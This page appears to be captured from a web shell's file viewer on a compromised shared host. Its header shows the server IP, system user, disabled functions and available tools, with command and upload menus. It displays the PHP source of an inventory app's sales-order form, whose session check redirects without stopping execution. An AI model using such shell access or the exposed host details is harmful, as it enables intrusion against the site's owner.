|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/inventory/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
header("Location: login.php");
}
include("include/db.php");;
date_default_timezone_set('Asia/Kolkata');
$date = date('Y-m-d');
?>
<!doctype html>
<html lang="en">
<!-- Mirrored from themesdesign.in/morvin/layouts/index.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 04 Apr 2022 13:25:02 GMT -->
<head>
<?php include 'include/head.php'; ?>
<link href="assets/libs/select2/css/select2.min.css" rel="stylesheet" type="text/css" />
<style>
.one,
td,th,
tr {
border: 1px solid black;
border-collapse: collapse;
}
body {
font-family: verdana;
}
.one {
margin: auto;
width: 90%;
}
td,th,
td {
height: 25px;
}
#one {
width: 40%;
}
#two {
width: 20%;
}
.two,
td,th,
tr {
border: 1px solid black;
border-collapse: collapse;
}
.two {
margin: auto;
margin-top: 4px;
width: 100%;
}
.three {
border:1px solid black;
border-collapse:collapse;
margin: auto;
margin-top: 4px;
width: 90%;
margin-bottom:4px;
}
#n,#new{
border:none;
}
</style>
</head>
<body>
<!-- Begin page -->
<div id="layout-wrapper">
<?php include 'include/header.php'; ?>
<!-- ========== Left Sidebar Start ========== -->
<div class="vertical-menu">
<?php include 'include/sidebar.php'; ?>
</div>
<!-- Left Sidebar End -->
<!-- ============================================================== -->
<!-- Start right Content here -->
<!-- ============================================================== -->
<div class="main-content">
<div class="page-content">
<!-- start page title -->
<div class="page-title-box">
<div class="container-fluid">
<div class="row align-items-center">
<div class="col-sm-6">
<div class="page-title">
<h4>New Sales Order</h4>
<!-- <ol class="breadcrumb m-0">
<li class="breadcrumb-item"><a href="javascript: void(0);">Morvin</a></li>
<li class="breadcrumb-item"><a href="javascript: void(0);">Tables</a></li>
<li class="breadcrumb-item active">Data Tables</li>
</ol> -->
</div>
</div>
<div class="col-sm-6">
</div>
</div>
</div>
</div>
<!-- end page title -->
<div class="container-fluid">
<div class="page-content-wrapper">
<div class="row">
<div class="col-lg-12">
<div class="card">
<div class="card-body">
<form method="POST" action="action/salesorder_add.php" enctype="multipart/form-data" >
<div class="row">
<div class="row" style="margin-bottom: 25px;">
<div class="col-md-2">
<label class="form-check-label" for="formCheck1">
Customer Name*
</label>
</div>
<div class="col-md-8">
<div class="input-group bootstrap-touchspin bootstrap-touchspin-injected">
<select class="form-select" id="cust_name" name="cust_name">
<?php
$sql = "select * from tbl_customer ";
$sql_res = mysqli_query($con, $sql) or die(mysqli_error($con));
while ($marriage = mysqli_fetch_assoc($sql_res)){
?>
<option value="<?php echo $marriage['id'];?>"><?php echo $marriage['c_name_dis'];?></option>
<?php } ?>
</select>
<span class="input-group-btn input-group-append"><button class="btn btn-primary bootstrap-touchspin-up" type="button"><i class="mdi mdi-magnify"></i></button></span></div>
</div>
</div>
<br>
<br>
<div class="row" style="margin-bottom: 25px;">
<div class="col-md-2">
<label class="form-check-label" for="formCheck1">
Sales Order#
</label>
</div>
<div class="col-md-4">
<input class="form-control" type="text" id="example-text-input" name="so_no" >
</div>
</div>
<br>
<div class="row" style="margin-bottom: 25px;">
<div class="col-md-2">
<label class="form-check-label" for="formCheck1">
Reference#
</label>
</div>
<div class="col-md-4">
<input class="form-control" type="text" id="example-text-input" name="ref_no">
</div>
</div>
<br>
<div class="row" style="margin-bottom: 25px;">
<div class="col-md-2">
<label class="form-check-label" for="formCheck1">
Sales Order Date
</label>
</div>
<div class="col-md-4">
<input class="form-control" type="date" value="<?php echo $date; ?>" name="so_date">
</div>
</div>
<br>
<div class="row" style="margin-bottom: 25px;">
<div class="col-md-2">
<label class="form-check-label" for="formCheck1">
Expected Shipment Date
</label>
</div>
<div class="col-md-4">
<input class="form-control" type="date" id="example-text-input" name="ship_date">
</div>
<div class="col-md-2">
<label class="form-check-label" for="formCheck1">
Payment Terms
</label>
</div>
<div class="col-md-4">
<select class="form-select" name="pay_terms" id="pay_terms">
<option value="Net 15">Net 15</option>
<option value="Net 30">Net 30</option>
<option value="Net 45">Net 45</option>
<option value="Net 60">Net 60</option>
<option value="Due end of the month">Due end of the month</option>
<option value="Due end of next month">Due end of next month</option>
<option value="Due on Receipt">Due on Receipt</option>
</select>
</div>
</div>
<br>
<hr>
<div class="row" style="margin-bottom: 25px;">
<div class="col-md-2">
<label class="form-check-label" for="formCheck1">
Delivery Method
</label>
</div>
<div class="col-md-4">
<select class="form-select" name="del_method" id="del_method">
<option value="">Choose</option>
</select>
</div>
</div>
<br>
<div class="row" style="margin-bottom: 25px;">
<div class="col-md-2">
<label class="form-check-label" for="formCheck1">
Salesperson
</label>
</div>
<div class="col-md-4">
<select class="form-select" name="sales_person">
<option value="">Choose</option>
<?php
$sql = "select * from tbl_saleperson ";
$sql_res = mysqli_query($con, $sql) or die(mysqli_error($con));
while ($marriage = mysqli_fetch_assoc($sql_res)){
?>
<option value="<?php echo $marriage['name'];?>"><?php echo $marriage['name'];?></option>
<?php } ?>
</select>
</div>
</div>
<br>
<div class="row" style="margin-bottom: 25px;">
<table class="table table-striped table-bordered dt-responsive nowrap" style="border-collapse: collapse; border-spacing: 0; width: 100%;" width="100%" id="dynamic_field">
<tr>
<th>Item Details </th>
<th>Quantity</th>
<th>RATE </th>
<th>DISCOUNT</th>
<th>AMOUNT</th>
<th></th>
</tr>
<tr>
<td>
<select class="form-control item select2" name="state[]" id="state" >
<option value="">-- Select Item --</option>
<?php
$SQL = "SELECT * FROM tbl_item ";
$cat_result = mysqli_query($con, $SQL) or die(mysqli_error($con));
while($cat_row = mysqli_fetch_assoc($cat_result))
{
?>
<option value="<?php echo $cat_row["name"] ?>"><?php echo $cat_row["name"] ?></option>
<?php
}
?>
</select>
</td>
<td><input type="number" name="Qty[]" id="Qty" class="qty form-control" min="1" value=""></td>
<td><input type="number" name="price[]" class="pprice form-control" id="price" min="0" value=""></td>
<td>
<select class="form-select" id="percen" name="percen" style="width: 67px;">
<option value="per">%</option>
<option value="RS">RS</option>
</select>
<br>
<input type="number" name="discount[]" class="discount form-control" id="discount" min="0" value='0'>
</td>
<td><input type="text" class="totprice form-control" name="tprice[]" id="totalprice" value=""></td>
<td>
<button type="button" class=" btn-md btn btn-success added"><i class="fa fa-plus"></i></button>
</td>
</tr>
</table>
</div>
<div class="row" style="margin-bottom: 25px;">
<div class="row">
<div class="col-md-6">
<!-- <div class="row" style="margin-bottom: 25px;">
<div class="col-md-8">
<a href="#"><i class="fa fa-plus"></i>Add another line</a>
</div>
</div> -->
<div class="row">
<div class="col-md-12">
<label class="form-check-label" for="formCheck1">
Customer Notes
</label>
<textarea placeholder="Enter any notes to be displayed in your transaction" name="cnote" id="ember1161" class="ember-text-area ember-view form-control"></textarea>
</div>
</div>
</div>
<div class="col-md-6" style="background-color: #fbfafa;border-radius: 10px!important;margin-left: auto!important;">
<div class="row" style="margin-bottom: 25px;">
<div class="col-md-3">
<label class="form-check-label" for="formCheck1">
Sub Total
</label>
</div>
<div class="col-md-4">
</div>
<div class="col-md-4">
<span style="float: right;" id="subtotal">0.00</span>
<input type="hidden" name="subtotalval" id="subtotalval" value="0">
</div>
</div>
<div class="row" style="margin-bottom: 25px;">
<div class="col-md-3">
<label class="form-check-label" for="formCheck1">
Adjustment
</label>
</div>
<div class="col-md-4">
<input class="form-control adjust" type="text" id="example-text-input" id="adjust" name="adjust">
</div>
<div class="col-md-4">
<span id="adjuste" style="float: right;">0.00</span>
</div>
</div>
<div class="row" style="margin-bottom: 25px;">
<div class="col-md-4">
<label class="form-check-label" for="formCheck1" style="font-weight: 600;">
Total ( Rs. )
</label>
</div>
<div class="col-md-3">
</div>
<div class="col-md-4">
<span style="float: right; font-weight: 600;" id="total">0.00</span>
<input type="hidden" name="totalval" id="totalval" value="0">
</div>
</div>
</div>
</div>
</div>
<br>
<hr>
<div class="row" style="margin-bottom: 25px;">
<div class="col-md-8" style="border-right: 1px solid #eee;">
<label class="form-check-label" for="formCheck1">
Terms & Conditions
</label>
<textarea placeholder="Enter the terms and conditions of your business to be displayed in your transaction" id="ember1161" class="ember-text-area ember-view form-control" rows="4" name="term_con"></textarea>
</div>
<div class="col-md-4">
<div class="mb-3">
<label class="form-label">Attach File to Sales Order</label>
<input type="file" class="form-control " name="do_photo" id="do_photo" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*" required="">
<div id="thumb" class="col-md-4"></div>
<div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">Please upload file having extensions .jpeg / .jpg / .png only.
</div>
</div>
</div>
</div>
<div>
<button class="btn btn-primary" type="submit">Save</button>
<button class="btn btn-info" type="submit">cancel</button>
</div>
</div>
</form>
</div>
</div>
<!-- end col -->
</div>
<!-- end row -->
</div>
</div> <!-- container-fluid -->
</div>
<!-- End Page-content -->
<footer class="footer">
<?php include 'include/footer.php'; ?>
</footer>
</div>
<!-- end main content-->
</div>
<!-- END layout-wrapper -->
<!-- Right Sidebar -->
<!-- /Right-bar -->
<!-- Right bar overlay-->
<div class="rightbar-overlay"></div>
<!-- JAVASCRIPT -->
<?php include 'include/bscript.php'; ?>
<script src="assets/libs/select2/js/select2.min.js"></script>
<script src="assets/js/pages/form-advanced.init.js"></script>
<script type="text/javascript">
$(document).on('change', '.item', function(e){
var stateID1 = $(this).val();
var id1 = $(this).attr('id').split('e').pop();
var subt = $('#subtotalval').val();
var tot = $('#totalval').val();
// alert(subt);
// alert(tot);
// alert(stateID1);
// alert(id1);
$.ajax({
type: 'POST',
url: 'Ajax/get_item.php',
data: {bid: stateID1,subt: subt,tot: tot },
success: function(data) {
// console.log(data);
data = JSON.parse(data);
// datas = JSON.parse(JSON.stringify(data));
// alert(data);
// $('#tax').val(data.tax);
$('#price').val(data.sellprice);
$('#Qty').val(data.qty);
$('#totalprice').val(data.amt);
$('#subtotal').text(data.amt);
$('#total').text(data.amt);
$('#subtotalval').val(data.amt);
$('#totalval').val(data.amt);
}
});
});
</script>
<script type="text/javascript">
$(document).on('change', '.discount', function(e){
var disID1 = $(this).val();
var percen = $('#percen').val();
var dpri = $('#price').val();
var dqty = $('#Qty').val();
// var totalprice = $('#totalprice').val();
var totalprice = (dpri * dqty);
var subt = $('#subtotalval').val();
var tot = $('#totalval').val();
// alert(totalprice);
// alert(percen);
// alert(disID1);
if(percen == 'per')
{
var ndisval = (totalprice*disID1/100);
var disval = (totalprice)-(ndisval);
}
// else
// {
// var disval = (subt - disID1);
// }
else if(percen == 'RS')
{
// var ndisval = (disID1/totalprice*100);
// var disval = (subt)-(ndisval);
var disval = (totalprice - disID1);
// var ntotp = (totalprice) - (ndisval);
}
// else
// {
// // var ntotp = (totalprice) - (disval);
// }
// alert(disval);
// var ntotp = (totalprice) - (disval) ;
$('#totalprice').val(disval);
var icsum = 0;
$('.totprice').each(function()
{
icsum += parseFloat($(this).val());
});
$('#subtotal').text(icsum);
$('#total').text(icsum);
$('#subtotalval').val(icsum);
$('#totalval').val(icsum);
});
</script>
<script type="text/javascript">
$(document).on('change', '.qty', function(e){
var iqty = $(this).val();
var id1 = $(this).attr('id').split('e').pop();
var subt = $('#subtotalval').val();
var tot = $('#totalval').val();
var stateID1 = $('#state').val();
var percen = $('#percen').val();
var discount = $('#discount').val();
// alert(subt);
// alert(tot);
// alert(stateID1);
// alert(id1);
$.ajax({
type: 'POST',
url: 'Ajax/get_qty.php',
data: {bid: stateID1,subt: subt,tot: tot,iqty: iqty,discount: discount,percen: percen },
success: function(data) {
// console.log(data);
data = JSON.parse(data);
// datas = JSON.parse(JSON.stringify(data));
// alert(data);
// $('#tax').val(data.tax);
$('#price').val(data.sellprice);
$('#Qty').val(data.qty);
$('#totalprice').val(data.amt);
var icsum = 0;
$('.totprice').each(function()
{
icsum += parseFloat($(this).val());
});
$('#costotal').text(icsum);
$('#costotalval').val(icsum);
$('#subtotal').text(icsum);
$('#total').text(icsum);
$('#subtotalval').val(icsum);
$('#totalval').val(icsum);
}
});
});
</script>
<script type="text/javascript">
$(document).on('change', '.adjust', function(e){
var adjust = $(this).val();
var subt = $('#subtotalval').val();
// alert(subt);
// alert(adjust);
var atotp = (parseInt(subt)+parseInt(adjust)) ;
$('#total').text(atotp);
$('#totalval').val(atotp);
$('#adjuste').text(adjust);
});
</script>
<script>
$(document).ready(function(){
// alert("o");
var i=0;
// $(document).on('change', '.added', function(){
$(".added").click(function(){
// alert("d");
if(i <= 9)
{
i++;
$('#dynamic_field').append('<tr id="row'+i+'"><td> <select class="form-control iname select2" name="state[]" id="state'+i+'" ><option value="">-- Select Item --</option> <?php $SQL = "SELECT * FROM tbl_item ";$cat_result = mysqli_query($con, $SQL) or die(mysqli_error($con));while($cat_row = mysqli_fetch_assoc($cat_result)){?><option value="<?php echo $cat_row["name"] ?>"><?php echo $cat_row["name"] ?></option><?php }?></select></td><td><input type="number" name="Qty[]" id="Qty'+i+'" class="kmmname form-control" min="0" value=""></td><td><input type="number" name="price[]" class="pprice form-control" id="price'+i+'" value=""></td><td><select class="form-select" id="percen'+i+'" name="percen" style="width: 67px;"><option value="per">%</option><option value="RS">RS</option></select><br><input type="number" name="discount[]" class="ddiscount dis'+i+' form-control" id="'+i+'" value="0" ></td> <td><input type="text" class="totprice form-control" name="tprice[]" id="totalprice'+i+'" value=""></td><td><button type="button" name="remove" id="'+i+'" class="btn-md btn btn-danger btn_remove">X</button></td></tr>');
$('.select2').select2();
}
else{
// alert('o');
}
});
$(document).on('click', '.btn_remove', function(){
var button_id = $(this).attr("id");
$('#row'+button_id+'').remove();
});
$(document).on('change', '.iname', function(e){
var stateID1 = $(this).val();
var id1 = $(this).attr('id').split('e').pop();
var subt = $('#subtotalval').val();
var tot = $('#totalval').val();
// alert(subt);
// alert(tot);
$.ajax({
type: 'POST',
url: 'Ajax/get_item.php',
data: {bid: stateID1,subt: subt,tot: tot, },
success: function(data) {
console.log(data);
data = JSON.parse(data);
// datas = JSON.parse(JSON.stringify(data));
$('#price'+id1).val(data.sellprice);
$('#Qty'+id1).val(data.qty);
$('#totalprice'+id1).val(data.amt);
$('#subtotal').text(data.newsubtotal);
$('#total').text(data.newtotal);
$('#subtotalval').val(data.newsubtotal);
$('#totalval').val(data.newtotal);
}
});
});
$(document).on('change', '.kmmname', function(e){
var iqty = $(this).val();
var id1 = $(this).attr('id').split('e').pop();
var myString = id1;
var id3 = myString[myString.length-1]
var subt = $('#subtotalval').val();
var tot = $('#totalval').val();
var stateID1 = $('#state'+id3).val();
var percen = $('#percen'+id3).val();
var discount = $('.dis'+id3).val();
// alert(subt);
// alert(id3);
// alert(discount);
// alert(tot);
// alert(stateID1);
// alert(id1);
$.ajax({
type: 'POST',
url: 'Ajax/get_qty.php',
data: {bid: stateID1,subt: subt,tot: tot,iqty: iqty,discount: discount,percen: percen },
success: function(data) {
// console.log(data);
data = JSON.parse(data);
// datas = JSON.parse(JSON.stringify(data));
// alert(data);
// $('#tax').val(data.tax);
$('#price'+id3).val(data.sellprice);
$('#Qty'+id3).val(data.qty);
$('#totalprice'+id3).val(data.amt);
var icsum = 0;
$('.totprice').each(function()
{
icsum += parseFloat($(this).val());
});
$('#costotal').text(icsum);
$('#costotalval').val(icsum);
$('#subtotal').text(icsum);
$('#total').text(icsum);
$('#subtotalval').val(icsum);
$('#totalval').val(icsum);
// $('#subtotal').text(data.newsubtotal);
// $('#total').text(data.newtotal);
// $('#subtotalval').val(data.newsubtotal);
// $('#totalval').val(data.newtotal);
}
});
});
$(document).on('change', '.ddiscount', function(e){
var stateID1 = $(this).val();
var id1 = $(this).attr('id').split('e').pop();
var disID1 = $(this).val();
var percen = $('#percen'+id1).val();
var dpri = $('#price'+id1).val();
var dqty = $('#Qty'+id1).val();
// var totalprice = $('#totalprice'+id1).val();
var totalprice = (dpri * dqty);
var subt = $('#subtotalval').val();
var tot = $('#totalval').val();
// alert(totalprice);
// alert(percen);
// alert(disID1);
// alert(subt);
// alert(tot);
if(percen == 'per')
{
var ndisval = (totalprice*disID1/100);
// alert(ndisval);
var disval = (totalprice)-(ndisval);
}
// else
// {
// var disval = (subt - disID1);
// }
else if(percen == 'RS')
{
// var ndisval = (disID1/totalprice*100);
// var disval = (subt)-(ndisval);
var disval = (totalprice - disID1);
// var ntotp = (totalprice) - (ndisval);
}
// alert(disval);
$('#totalprice'+id1).val(disval);
var icsum = 0;
$('.totprice').each(function()
{
icsum += parseFloat($(this).val());
});
// alert(icsum)
$('#subtotal').text(icsum);
$('#total').text(icsum);
$('#subtotalval').val(icsum);
$('#totalval').val(icsum);
});
// caalculation total price
// $(document).on('change', '.ddiscount', function(e){
// var stateID1 = $(this).val();
// var id1 = $(this).attr('id').split('e').pop();
// // alert(stateID1);
// // alert(id1);
// var price = $('#price'+id1).val();
// var qty = $('#Qty'+id1).val();
// var tax = $('#tax'+id1).val();
// // alert(price);
// // alert(qty);
// // alert(tax);
// var a = qty * price ;
// // alert(a);
// var b = a * stateID1 / 100;
// // alert(b);
// var c = a - b ;
// // alert(c);
// var d = c * tax/100;
// // alert(d);
// var e = c + d ;
// // alert(e);
// // // alert(total);
// $('#totalprice'+id1).val(e);
// });
$(document).on('change', '.kmmname', function(e){
var stateID1 = $(this).val();
var id2 = $(this).attr('id').split('e').pop();
// alert(stateID1);
// alert(id2);
var price = $('#price'+id2).val();
var barcode = $('#barcode'+id2).val();
// alert(price);
// alert(barcode);
$.ajax({
type: 'POST',
url: 'checkquantity.php',
data: {cre_quantity: stateID1,barcode:barcode },
success: function(data) {
// console.log(data);
// alert(data);
if(data == 1)
{
alert('please enter less quanity');
}
if(data == 2){
var discount = $('#ddiscount'+id2).val();
var total = stateID1 * price ;
// alert(total);
$('#totalprice'+id2).val(total);
}
}
});
});
$(document).on('change', '.discount', function(e){
var sum = 0;
$('.totprice').each(function() {
sum += Number($(this).val());
// alert(sum);
$('#ftotal').val(sum);
});
});
$(document).on('change', '.discount', function(e){
$('input[name^="barcode"]').change(function() {
var $current = $(this);
// alert($current);
$('input[name^="barcode"]').each(function() {
if ($(this).val() == $current.val() && $(this).attr('id') != $current.attr('id'))
{
alert('duplicate found!');
}
});
});
});
});
</script>
</body>
<!-- Mirrored from themesdesign.in/morvin/layouts/index.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 04 Apr 2022 13:25:42 GMT -->
</html>